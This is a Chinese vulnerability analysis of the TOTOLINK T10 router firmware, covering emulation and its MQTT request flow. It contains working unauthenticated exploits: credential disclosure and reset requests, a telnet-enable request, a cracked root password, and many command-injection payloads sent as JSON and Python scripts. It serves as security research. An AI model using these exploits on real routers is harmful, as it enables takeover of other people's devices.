TotolinkT10漏洞分析

安全入门
2023-05-29 18:22
152164

1.1 获取和解压固件

1.2 流量转发

1.3 虚拟环境的各种问题

1.4 真机

2.1 telnet

2.2 password获取

3.1 目录梳理

4.1 登陆

4.1.1 密码泄露

4.2 admin后台

4.2.1 password.asp

4.2.2 所以asp里的功能 是怎么对应到后面的?

4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢?

4.2.4 如何加载库的呢?

4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢?

4.2.6 mqtt代理如何和服务端和客户端通信的呢?

4.2.7 完整的流程

5.1 抓包分析:(以telnet为例)

5.1.1 安装libpcap/tcpdump

5.1.2 流量包分析

5.1.3 利用pwntools构造mqtt的数据包

5.1.4 mqtt.fx使用

6.1 system.so

6.1.1 getPasswordCfg 未授权获取用户名密码

6.1.2 setPasswordCfg 未授权修改密码

6.1.3 NTPSyncWithHost 命令执行

6.1.4 setNTPCfg 命令执行

6.2 upgrade.so

6.3 global.so

6.4 firewall.so

6.5 wireless.so

6.6 lan.so、wan.so、wps.so

7.1 gdbserver调试

7.2 ida动态调试\远程调试

7.2.1附加调试(无符号信息)

7.2.2 运行调试(有符号信息)

7.3 filewall.so库中setIpQosRules函数栈溢出调试

一、环境搭建

1.1 获取和解压固件

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=15&ids=36

binwalk -Me TOTOLINK_CS185R_T10_IP04336_8197F_SPI_16M64M_V5.9c.1485_B20180122_ALL.web

查看busybox获得架构信息,

root@vultr:/tmp/squashfs-root/bin# file busybox
busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

下载qemu

apt install qemu-user qemu-user-static qemu-system
    
网桥工具
apt install bridge-utils uml-utilities

链接失效了,问同学要了一个

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

scp -r root@xxxx:/root/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 ./

scp -r root@xxxx:/root/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta ./

网络配置

brctl addbr virbr2 # 创建网桥
ifconfig virbr2 192.168.6.1/24 up # 配置网桥IP
tunctl -t tap2 # 添加虚拟网卡tap2
ifconfig tap2 192.168.6.11/24 up # 配置虚拟网卡IP
brctl addif virbr2 tap2 # 配置虚拟网卡与网桥连接

启动虚拟机

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic

登陆虚拟机、配置网络

root/root

ifconfig eth0 192.168.6.15 up # 配置路由器IP scp -r squashfs-root/ root@192.168.6.15:/root/ # 拷贝路由器文件到虚拟机

注意这里有个坑

就是上一个开启的qemu里面的squashfs-root不是要搭建的那个路由器的...很奇怪...不知道哪里来的...

所以其实要先从物理机上考过去一份到qemu的debian系统里,然后再拷到路由系统里

物理机/云服务器执行: scp -r /tmp/squashfs-root 192.168.6.15:/root/ 拷贝到qemu虚拟出的debian里面

qemu里执行 scp -r squashfs-root/ root@192.168.6.15:/root/ 拷贝到

chroot ./squashfs-root/ /bin/sh # 挂载路由器系统 ./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib # 启动路由器服务

报错(server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory

创建一下即可

1.2 流量转发

怎么把流量转发出来呢?

把qemu的流量转发到主机的端口

ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80

把主机的流量转发到PC端口,就可以在自己电脑上访问了

ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:127.0.0.1:80

或者安装一个图形化界面(用服务器搭建的)

ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80

或者直接一个转发就行了吧?(vps关了,还没尝试)

ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:192.168.6.15:80

1.3 虚拟环境的各种问题

登陆报错

2023-05-07 18:44:46: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 
HTTP/1.1 200 OK
Content-Length: 0
Date: Sun, 07 May 2023 18:44:58 GMT
Server: lighttpd/1.4.20

2023-05-07 18:44:58: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 
    
    
    
2023-05-07 18:48:03: (mod_cgi.c.588) cgi died, pid: 2588 
2023-05-07 18:48:06: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 
2023-05-07 18:48:09: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 
HTTP/1.1 200 OK
Content-Length: 0
Date: Sun, 07 May 2023 18:48:19 GMT
Server: lighttpd/1.4.20

2023-05-07 18:48:19: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 

访问home.asp直接下载文件了....

换个版本?

https://toscode.gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518

TOTOLINK NR1800X

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=70&ids=36

好奇怪..用user模式是这个,system模式就不是了...

image.png

把东西拷其进去后 404了

image.png

但是在服务器里面测试是好的

搭建图形化界面https://zhuanlan.zhihu.com/p/436458664

vnc一开始连不上是防火墙的事,把防火墙关了,可以在图形化界面里直接访问

1.4 真机

因为自己的机器是mac,m1架构,搭建不了x86的虚拟机,就用的云服务器,比较麻烦,然后环境也有问题,于是买了一个真机,但是真机也有问题,导致自己很崩溃,通宵了一晚上去调试环境,但不论怎么搭建虚拟环境或者用真机,在登录页面点击登陆后,都登陆不进去

后来无意中在百度贴吧搜索发现有人和我一样的问题...............居然是要用远古的ie或者360浏览器的兼容模式才能打开...

image.png

image.png

二、 获取初始shell

2.1 telnet

在路由器管理后台开启telnet功能,或者直接python发包获取(未授权)

import requests

response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')

2.2 password获取

(base) ➜  squashfs-root cat etc/shadow.sample
root:$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2/:16090:0:99999:7:::
nobody:*:14495:0:99999:7:::

解密结果是cs2012

三、框架分析

3.1 目录梳理

--bin     二进制文件
--lib
    --cste_modules   .so库文件
--web_cste       浏览器web后台主目录
 --adm    管理员后台
    --cgi-bin   功能处理
    --firewall      防火墙功能
 login.asp   登陆页面
    telnet.asp   telnet控制页面

进去之后 进行信息收集, 先传一个busybox-mipsel

python -m http.server 80 起一个服务,传一下
wget http://xxxxxxxx/busybox-mipsel

收集进程信息

 1028 root       0:00 udhcpd /var/udhcpd.conf
 1269 root       0:00 ppp_inet -t 3 -c 0 -x
 1279 root       0:00 dnsmasq
 1285 root       0:00 lld2d br0
 1301 root       0:00 fwd
 1329 root       0:00 cs_broker -c /etc/mosquitto.conf
 1335 root       0:00 cste_sub -h 127.0.0.1 -t totolink/router/#
 1352 root       0:00 telnetd
 1360 root       0:00 csteDriverConnMachine
 1365 root       0:00 crond
 1366 root       0:00 [kworker/0:1H]
 1376 root       0:00 lighttpd -f /lighttp/lighttpd.conf -m /lighttp/lib/
 1398 root       0:00 /bin/getty -L ttyS0 38400 vt100
 1400 root       0:00 watchdog -c /var/cs_watchdog.conf
 1924 root       0:00 -sh
 2178 root       0:00 ./busybox-mipsel ps auxf

网络信息

# ./busybox-mipsel netstat -alp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN      1376/lighttpd
tcp        0      0 0.0.0.0:domain          0.0.0.0:*               LISTEN      1279/dnsmasq
tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN      1352/telnetd
tcp        0      0 0.0.0.0:1883            0.0.0.0:*               LISTEN      1329/cs_broker
tcp        0      0 127.0.0.1:1883          127.0.0.1:56383         ESTABLISHED 1329/cs_broker
tcp        0      0 127.0.0.1:56383         127.0.0.1:1883          ESTABLISHED 1335/cste_sub
tcp        0    157 router.totolink.com:telnet 192.168.55.3:62063      ESTABLISHED 1352/telnetd
netstat: /proc/net/tcp6: No such file or directory
udp        0      0 0.0.0.0:domain          0.0.0.0:*                           1279/dnsmasq
udp        0      0 0.0.0.0:bootps          0.0.0.0:*                           1028/udhcpd
netstat: /proc/net/udp6: No such file or directory
netstat: /proc/net/raw6: No such file or directory
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  3      [ ]         STREAM     CONNECTED       1590 1335/cste_sub
unix  3      [ ]         STREAM     CONNECTED       1282 1028/udhcpd
unix  3      [ ]         STREAM     CONNECTED       1591 1335/cste_sub
unix  3      [ ]         STREAM     CONNECTED       1283 1028/udhcpd
unix  2      [ ]         DGRAM                      1488 1279/dnsmasq

四、逻辑功能、业务流程梳理

4.1 登陆

image.png

formLoginAuth.htm 这个东西其实在lighttpd里面, 它只是一个变量名,不代表文件,判断这个文件名,会调用Form_Login函数

4.1.1 密码泄露

这个请求包存在一个问题,即不论用户名密码是否正确,都调用它,然后返回前端,于是就有了一个用户名密码泄露漏洞

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/title.asp
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 37
Host: 192.168.0.1
Pragma: no-cache
Cookie: SESSION_ID=2:1516657290:2
Connection: close

{"topicurl":"setting/getLanguageCfg"}



HTTP/1.1 200 OK
Connection: close
Content-Type: text/plain
Content-Length: 340
Pragma: no-cache
Cache-Control: no-cache
Date: Mon, 22 Jan 2018 21:36:50 GMT
Server: lighttpd/1.4.20

{
 "operationMode": 0,
 "loginFlag": 1,
 "multiLangBt": 1,
 "helpBt": 1,
 "fmVersion": "V5.9c.1485",
 "title": "TOTOLINK",
 "langFlag": 0,
 "languageType": "cn",
 "helpUrl": "www.totolink.cn",
 "usbFlag": 0,
 "productName": "T10",
 "lanIp": "192.168.0.1",
 "wanConnStatus": "disconnected",
 "loginUser": "admin",
 "loginPass": "123456888"
}


image.png

4.2 admin后台

4.2.1 password.asp

通过setting/getPasswordCfg接口可以直接获取密码,而且未做鉴权

var rJson;
$(function(){
 var postVar={topicurl:"setting/getPasswordCfg"};
 postVar=JSON.stringify(postVar);
 $.ajax({  
        type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){
   rJson=JSON.parse(Data);
   supplyValue("admuser",rJson['admuser']);
  }
    });  
 $("#div_admpass11,#div_admpass21").show();//p
 $("#div_admpass12,#div_admpass22").hide();//t
 try{ 
  parent.frames["title"].initValue();
 }catch(e){}
});


4.2.2 所以asp里的功能 是怎么对应到后面的?

答: 通过mqtt协议转发,前端的功能,通过类似于setting/getPasswordCfg的消息,发送给代理程序,然后代理程序交给后端服务处理程序来处理,然后再相反路径返回结果

image.png

4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢?

比如setting/getPasswordCfg 它其实是在 system.so里

答:cstecgi.cgi里并没有包含所有功能,它主要是包含了请求重定向,登陆等功能,其余的功能,会通过转发请求和加载库的机制实现

在这里匹配不到的最后都会通过else里的这两个函数进行转发请求,给后面的处理程序进行处理. 可以看到,这里转发给了mqtt的代理程序,因为连接到了1883端口.

image.png

web_getData的参数可以往前追溯分析,


 v23 = *(_DWORD *)(cJSON_GetObjectItem(v13, "topicurl") + 16);

v23: topicurl的值, 例如setting/getPasswordCfg

v30: 其他的参数值

那么这两个函数又是在哪里呢? 搜索发现是在libmosquitto.so库里,它是一个开源的组件,就是由它来负责具体的mqtt消息的处理

(base) ➜  squashfs-root grep -rin set_CSTEInfo
Binary file ./lib/libmosquitto.so matches
Binary file ./web_cste/cgi-bin/cstecgi.cgi matches

image.png

image.png

v16[0] 0

v16[1] 1883

v16[2] 127.0.0.1

v16[3]

v16[4] totolink/router/setting/setxxxxCfg

v16这个数组即发送的请求,传到client_config_load,然后传到 v10 = sub_F8DC(a1, a2, a3, a4);

可以看到,它会给消息分配一块堆空间,然后存储到这里

   if ( mosquitto_sub_topic_check(*(_DWORD *)(a4 + 4 * (i + 1))) == 3 )
        {
          fprintf(
            stderr,
            "Error: Invalid subscription topic '%s', are all '+' and '#' wildcards correct?\n",
            *(const char **)(a4 + 4 * (i + 1)));
          return 1;
        }
        ++*(_DWORD *)(a1 + 96);
        *(_DWORD *)(a1 + 92) = realloc(*(void **)(a1 + 92), 4 * *(_DWORD *)(a1 + 96));
        v5 = (char **)(*(_DWORD *)(a1 + 92) + 4 * (*(_DWORD *)(a1 + 96) - 1));
        *v5 = strdup(*(const char **)(a4 + 4 * (i + 1)));

4.2.4 如何加载库的呢?

进行逆向推理,首先要找是谁加载了system.so

(base) ➜  squashfs-root grep -irn "system.so"
Binary file ./bin/yddns matches
Binary file ./bin/pppoe-discovery matches
Binary file ./bin/csteDriverConnMachine matches

查看了一下这几个文件,发现都没有什么线索,根据网上的资料调查会发现,其实是通过dlopen这个方式加载库,所以.so和system可能进行了拼接,直接搜system就太多了,所以可以搜索路径lib/cste_modules

(base) ➜  squashfs-root grep -irn "lib/cste_modules"
Binary file ./bin/cste_sub matches

所以是cste_sub加载了system,在cute_sub的 load_modules()函数中,找到如下加载库的代码,可以看到,进行了路径拼接,以及用opendir和readdir读取目录中的文件.

image.png

tcp        0      0 0.0.0.0:1883            0.0.0.0:*               LISTEN      1329/cs_broker
tcp        0      0 127.0.0.1:1883          127.0.0.1:56383         ESTABLISHED 1329/cs_broker
tcp        0      0 127.0.0.1:56383         127.0.0.1:1883          ESTABLISHED 1335/cste_sub

根据前面查到的端口可以进一步分析,首先1883是mqtt端口,cs_broker用了这个端口,所以它就是代理,那么需要找客户端和服务端,客户端很明显,就是/cgi-bin/cstecgi.cgi,那么服务端呢,也很明显了,就是cste_sub,它与代理始终建立了双向链接

4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢?

在这里与1883代理进行消息转发

image.png

(base) ➜  squashfs-root grep -irn "set_CSTEinfo"
Binary file ./lib/libmosquitto.so matches
Binary file ./web_cste/cgi-bin/cstecgi.cgi matches

4.2.6 mqtt代理如何和服务端和客户端通信的呢?

也就是说那么 cs_broker是怎么接收cgi-bin/cstecgi.cgi的消息的呢? 又是怎么转发消息到cste_sub的呢?

4.2.6.1 mqtt代理与客户端通信

要有一个listen等待接收消息,cs_broker主函数中的mqtt3_socket_listen函数.获取传来的地址,解析数据,建立socket

image.png

4.2.6.2 与服务端通信

肯定要有一个connect进行连接

image.png

4.2.7 完整的流程

分析完登陆和后台的这个功能大概梳理清楚了程序的运行逻辑,它不是直接调用后端的接口,而是通过mqtt通信到后端来处理请求然后返回,所以不论前端的什么请求,都会转化成mqtt的请求包,所以对80端口的请求,也可以通过构造mqtt数据包来执行

此外还分析了一下系统的启动流程等,最后总结成流程图

image.png

五、mqtt分析

5.1 抓包分析:(以telnet为例)

5.1.1 安装libpcap/tcpdump

1.官网下载tcpdump和libpcap

git clone https://github.com/the-tcpdump-group/tcpdump
git clone https://github.com/the-tcpdump-group/libpcap

Git clone的版本比较新,有所不同,可以用这个

https://www.tcpdump.org/old_releases.html

5.1.1.1 libpcap

先安装两个依赖

先安装flex

#libpcap 1.1要求flex必须在2.4.6及以上
wget http://prdownloads.sourceforge.net/flex/flex-2.5.36.tar.gz
tar -xzvf flex-2.5.36.tar.gz
cd flex-2.5.36
./configure --prefix=/usr
make -j && make install

安装bison


wget http://ftp.gnu.org/gnu/bison/bison-2.4.tar.gz
tar -xzvf bison-2.4.tar.gz
cd bison-2.4/
./configure --prefix=/usr
make -j && make install

安装libpcap

wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar -xzvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure --prefix=/usr
make -j && make install

--prefix=/usr指定软件安装路径

报错处理

root@vultr:~/net/libpcap-1.1.1# make -j
gcc -O2 -fpic -I.  -DHAVE_CONFIG_H  -D_U_="__attribute__((unused))" -c scanner.c
gcc -O2 -fpic -I.  -DHAVE_CONFIG_H  -D_U_="__attribute__((unused))" -c ./pcap-linux.c
gcc -O2 -fpic -I.  -DHAVE_CONFIG_H  -D_U_="__attribute__((unused))" -Dyylval=pcap_lval -c grammar.c
./pcap-linux.c: In function ‘pcap_read_packet’:
./pcap-linux.c:1555:24: error: ‘SIOCGSTAMP’ undeclared (first use in this function); did you mean ‘SIOCGIWAP’?
 1555 |  if (ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts) == -1) {
      |                        ^~~~~~~~~~
      |                        SIOCGIWAP
./pcap-linux.c:1555:24: note: each undeclared identifier is reported only once for each function it appears in
make: *** [Makefile:81: pcap-linux.o] Error 1
make: *** Waiting for unfinished jobs....
   

https://blog.csdn.net/liangjian990709/article/details/111494494

https://github.com/LibtraceTeam/libtrace/issues/117

报错是说找不到这个宏的定义,找到出问题的文件pcap-linux.c,加上头文件即可 #include <linux/sockios.h>

验证是否成功

#include <stdio.h>
#include <pcap.h>

int main(int argc, char *argv[]) {
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t* devs;
pcap_if_t* d;
unsigned int i = 0;

//获取全部的dev
if (-1 == pcap_findalldevs(&devs, errbuf)) {
fprintf(stderr, "Could not list device: %s\n", errbuf);
} else {
d = devs;
while (d->next != NULL) {
printf("%d:%s\n", i++, d->name);
d = d->next;
}
}

//释放所有获取的dev
pcap_freealldevs(devs);
return (0);
}

gcc test.c -lpcap -L/usr/lib/libpcap.so

-lpcap然后指定安装路径

root@vultr:~/net# ./a.out
0:docker0
1:tun0
2:enp1s0
3:virbr2
4:tap2
5:br-bb76d9e6caa6
6:any

https://www.coder4.com/archives/1001

5.1.1.2 tcpdump

wget https://www.tcpdump.org/release/tcpdump-4.1.1.tar.gz
tar zxvf tcpdump-4.1.1.tar.gz
cd tcpdump-4.1.1
./configure --prefix=/usr
make -j && make install

安装完直接命令输入 tcpdump进行测试

5.1.1.3 交叉编译mipsel版tcpdump

安装mipsel gcc

apt install gcc-mipsel-linux-gnu

编译libpcap (重新解压一份源码)

./configure --prefix=/home/test/mipsel_libpcap     #该目录根据情况更改
/configure --host=mipsel-linux --with-pcap=linux --prefix=/home/test/mipsel_libpcap
make CC=mipsel-linux-gnu-gcc
make install CC=mipsel-linux-gnu-gcc       #编译的libpcap安装到了/home/test/mipsel_libpcap目录下

编译tcpdump

动态链接
./configure 
make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a'
    
    
静态链接
    
./configure
make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include -static' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a -static'

编译的时候报错,应该是版本太老了....然后....

很多个版本一直报错

checking for pcap_loop... no
configure: error: This is a bug, please follow the guidelines in CONTRIBUTING and include the
config.log file in your report.  If you have downloaded libpcap from
tcpdump.org, and built it yourself, please also include the config.log
file from the libpcap source directory, the Makefile from the libpcap
  urce directory, and the output of the make process for libpcap, as


2010就好了

不过最后还是有点问题,没有编译成功,暂时先放一下,在github上能搜到编译好的,先用着

https://github.com/badmonkey7/tcpdump-static

5.1.2 流量包分析

tcp开启监听,然后mqtt发送订阅(其实不行,这个包不完全,应该走80端口的服务才行)

import requests

response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')

./tcpdump-mipsel -i any -w ./test1.pcap

./tcpdump-mipsel -i lo -w ./test.pcap

获取流量后,利用base64编码把数据包拿到

cat /tmp/test.pcap  | /tmp/busybox-mipsel base64        # 编码过程
# 将base64编码的内容保存到本地文件pcap64
cat pcap64 | base64 -d > test.pcap          # 解码过程

不知道为什么一发送订阅,连接就挂了..所以开一个nohup来放到后台运行,断了后重新登录,kill掉进程就得到数据包了,并且如果想抓80的话,要多抓几个网卡,具体是哪个还没测试(-i any抓全部)

# ./tcpdump-mipsel -i lo -w ./test.pcap
tcpdump-mipsel: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Connection closed by foreign host.

    
./busybox-mipsel  nohup ./tcpdump-mipsel  -i any -w ./test.pcap

能够看到三次握手四次挥手以及订阅包,推送包等等

image.png

基于上面分析,可以利用pwntools直接构造mqtt的数据包

5.1.3 利用pwntools构造mqtt的数据包

这条消息中的下面选中部分就是发送的设置telnet的mqtt publish报文,也就是脚本中的msg2
31 1.735248 127.0.0.1 127.0.0.1 MQTT 175 Publish Message [totolink/router/setting/setTelnetCfg]

image.png

from pwn import *

io = remote("192.168.55.1",1883)

msg1 = "\x10\x1a\x00\x04\x4d\x51\x54\x54\x04\x02\x00\x3c\x00\x0e\x4d\x51\x54\x54\x5f\x46\x58\x5f\x43\x6c\x69\x65\x6e\x74"
msg2 = "\x30\x65\x00\x24\x74\x6f\x74\x6f\x6c\x69\x6e\x6b\x2f\x72\x6f\x75\x74\x65\x72\x2f\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x7b\x0a\x09\x22\x74\x6f\x70\x69\x63\x75\x72\x6c\x22\x3a\x09\x22\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x22\x2c\x0a\x09\x22\x74\x65\x6c\x6e\x65\x74\x5f\x65\x6e\x61\x62\x6c\x65\x64\x22\x3a\x09\x22\x31\x22\x0a\x7d"

io.send(msg1)       # connect

5.1.4 mqtt.fx使用

https://blog.csdn.net/weixin_43940932/article/details/107935303

这是一个调试mqtt协议的工具, 先修改mqtt代理的ip,就是路由器的ip,

image.png

subscribe订阅 #是订阅全部

image.png

publish,发送报文

image.png

六、so库命令执行漏洞挖掘

有命令执行的一般都要有system,execve 或者包装好的函数 CsteSystem,如果有交叉引用的漏洞函数,那么也可能存在命令执行

一共9个文件. 后面有时间感觉可以写个ida脚本自动化来找...

6.1 system.so

主要包含下面的函数

int module_init()
{
  cste_hook_register("getPasswordCfg", getPasswordCfg);
  cste_hook_register("setPasswordCfg", setPasswordCfg);
  cste_hook_register("NTPSyncWithHost", NTPSyncWithHost);
  cste_hook_register("getNTPCfg", getNTPCfg);
  cste_hook_register("setNTPCfg", setNTPCfg);
  cste_hook_register("getDDNSStatus", getDDNSStatus);
  cste_hook_register("getDDNSCfg", getDDNSCfg);
  cste_hook_register("setDDNSCfg", setDDNSCfg);
  cste_hook_register("getSyslogCfg", getSyslogCfg);
  cste_hook_register("clearSyslog", clearSyslog);
  cste_hook_register("setSyslogCfg", setSyslogCfg);
  cste_hook_register("getMiniUPnPConfig", getMiniUPnPConfig);
  cste_hook_register("setMiniUPnPConfig", setMiniUPnPConfig);
  cste_hook_register("LoadDefSettings", LoadDefSettings);
  cste_hook_register("RebootSystem", RebootSystem);
  cste_hook_register("FirmwareUpgrade", FirmwareUpgrade);
  cste_hook_register("getRebootScheCfg", getRebootScheCfg);
  cste_hook_register("setRebootScheCfg", setRebootScheCfg);
  cste_hook_register("getTelnetCfg", getTelnetCfg);
  cste_hook_register("setTelnetCfg", setTelnetCfg);
  cste_hook_register("SystemSettings", SystemSettings);
  return 0;
}

6.1.1 getPasswordCfg 未授权获取用户名密码

mqtt 1883端口攻击
totolink/router/setting/getPasswordCfg

{
 "topicurl":"setting/getPasswordCfg"
}

会直接返回用户名密码

image.png

80端口攻击

import requests

response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/getPasswordCfg"}')
print(response.text)

效果

(base) ➜  router python3 password.exp
{
 "admuser": "admin",
 "admpass": "123456888"
}

GetLanguageCfg也可以,不过不在system.so这里

6.1.2 setPasswordCfg 未授权修改密码

totolink/router/setting/setPasswordCfg

{
 "topicurl":"setting/setPasswordCfg",
 "admuser":"admin",
 "admpass":"123456888"
}

6.1.3 NTPSyncWithHost 命令执行

mqtt 1883端口

totolink/router/setting/NTPSyncWithHost

{
 "topicurl":"setting/NTPSyncWithHost",
 "hostTime":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"
}

80端口

import requests

response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/NTPSyncWithHost","hostTime":";\'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)\';"}')
print(response.text)

主要漏洞原因是获取了hostTime参数后,直接拼接起来然后传给了CsteSystem进行命令执行了

image.png

6.1.4 setNTPCfg 命令执行

totolink/router/setting/setNTPCfg
{
    "topicurl":"setting/setNTPCfg",
 "tz":"UTC+0",
    "ntpServerIp":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123456)';",
    "ntpClientEnabled":"ON"
}

image.png

apmib_set在哪呢?

搜索一下 grep -rin apmib_set


(base) ➜  squashfs-root grep -rin apmib_set
Binary file ./bin/csteSys matches
Binary file ./bin/AC matches
Binary file ./bin/cs_statistics matches
Binary file ./bin/WTP matches
Binary file ./bin/flash matches
Binary file ./bin/sysconf matches
Binary file ./bin/ntp_inet matches
Binary file ./bin/fwupg matches
Binary file ./bin/AACWTP matches
Binary file ./lib/cste_modules/wan.so matches
Binary file ./lib/cste_modules/wps.so matches
Binary file ./lib/cste_modules/system.so matches
Binary file ./lib/cste_modules/firewall.so matches
Binary file ./lib/cste_modules/wireless.so matches
Binary file ./lib/cste_modules/global.so matches
Binary file ./lib/cste_modules/lan.so matches
Binary file ./lib/libapmib.so matches
Binary file ./lib/libcstelib.so matches

Binary file ./lib/libapmib.so matches 这个名字看着就像,但是这个一个第三方库,就是设置值的,不像是触发漏洞的点

后来进行gdb动态调试的时候发现,system触发点在set_timeZone()函数中,也很奇怪,因为这个函数并没有传入的值.

6.2 upgrade.so

主要函数

int module_init()
{
  cste_save_fwinfo();
  cste_hook_register("setUpgradeFW", &setUpgradeFW);
  cste_hook_register("setUploadSetting", &setUploadSetting);
  cste_hook_register("CloudACMunualUpdate", CloudACMunualUpdate);
  cste_hook_register("slaveUpgrade", slaveUpgrade);
  return 0;
}

int __fastcall dl(const char *a1)
{
  char v3[512]; // [sp+18h] [-300h] BYREF
  char v4[256]; // [sp+218h] [-100h] BYREF

  memset(v3, 0, sizeof(v3));
  memset(v4, 0, sizeof(v4));
  getStrFromTmp("DlFileUrl", v4);
  sprintf(v3, "wget -O %s  %s", a1, v4);
  return CsteSystem(v3, 0);
}

getStrFromTmp这个是干什么的..

6.2.1 setUpgradeFW 命令执行

注意这里拼接命令和其他有所不同

totolink/router/setting/setUpgradeFW
    
{
 "topicurl":"setting/setUpgradeFW",
    "Flags":1,
 "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUpgradeFW;",
    "ContentLength":12
}

当ContentLength小于0x100000时,执行LABEL_14的逻辑,这里是出现错误删除文件的功能,进行了拼接

image.png

image.png

6.2.2 setUploadSetting 命令执行
totolink/router/setting/setUploadSetting
{
    "topicurl":"setting/setUploadSetting",
 "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;",
    "ContentLength":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;"
}

image.png

获取的文件名会进行读取

image.png

6.2.3 slaveUpgrade 命令执行
totolink/router/setting/slaveUpgrade

{
 "topicurl":"setting/slaveUpgrade",
 "url":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"
}

image.png

image.png

6.3 global.so

主要功能

int module_init()
{
  cste_hook_register("getOpMode", getOpMode);
  cste_hook_register("setOpMode", setOpMode);
  cste_hook_register("getGlobalFeatureBuilt", getGlobalFeatureBuilt);
  cste_hook_register("getSysStatusCfg", getSysStatusCfg);
  cste_hook_register("getLanguageCfg", getLanguageCfg);
  cste_hook_register("setLanguageCfg", setLanguageCfg);
  cste_hook_register("loginAuth", &loginAuth);
  cste_hook_register("getSaveConfig", &getSaveConfig);
  cste_hook_register("getLedStatus", getLedStatus);
  cste_hook_register("getWanAutoDetect", &getWanAutoDetect);
  cste_hook_register("setEasyWizardCfg", setEasyWizardCfg);
  cste_hook_register("getEasyWizardCfg", getEasyWizardCfg);
  cste_hook_register("autoDhcp", autoDhcp);
  return 0;
}

6.3.1 setLanguageCfg 命令执行
totolink/router/setting/setLanguageCfg
{
    "topicurl":"setting/setLanguageCfg",
    "langType":";echo 123 > /tmp/setLanguageCfg;"
}

image.png

image.png

6.3.2 getLanguageCfg 信息泄露

用户名密码泄露

image.png

6.4 firewall.so

防火墙的,设置防火墙相应内容. 但是这里面system执行的内容都是写死的,不可控

有没有可能格式化字符串修改固定的值,然后进行命令利用?

6.5 wireless.so

6.5.1 setWebWlanIdx 命令执行

totolink/router/setting/setWebWlanIdx
{
    "topicurl":"setting/setWebWlanIdx",
    "webWlanIdx":";echo 123 > /tmp/setWebWlanIdx;"
}




import requests

response = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setWebWlanIdx","hostTime":";echo 123 > /tmp/test123;")
print(response.text)

image.png

image.png

6.5.2 updateWifiInfo 命令执行

注意newMd5参数不为0


totolink/router/setting/updateWifiInfo
    
{
    "topicurl":"setting/updateWifiInfo",
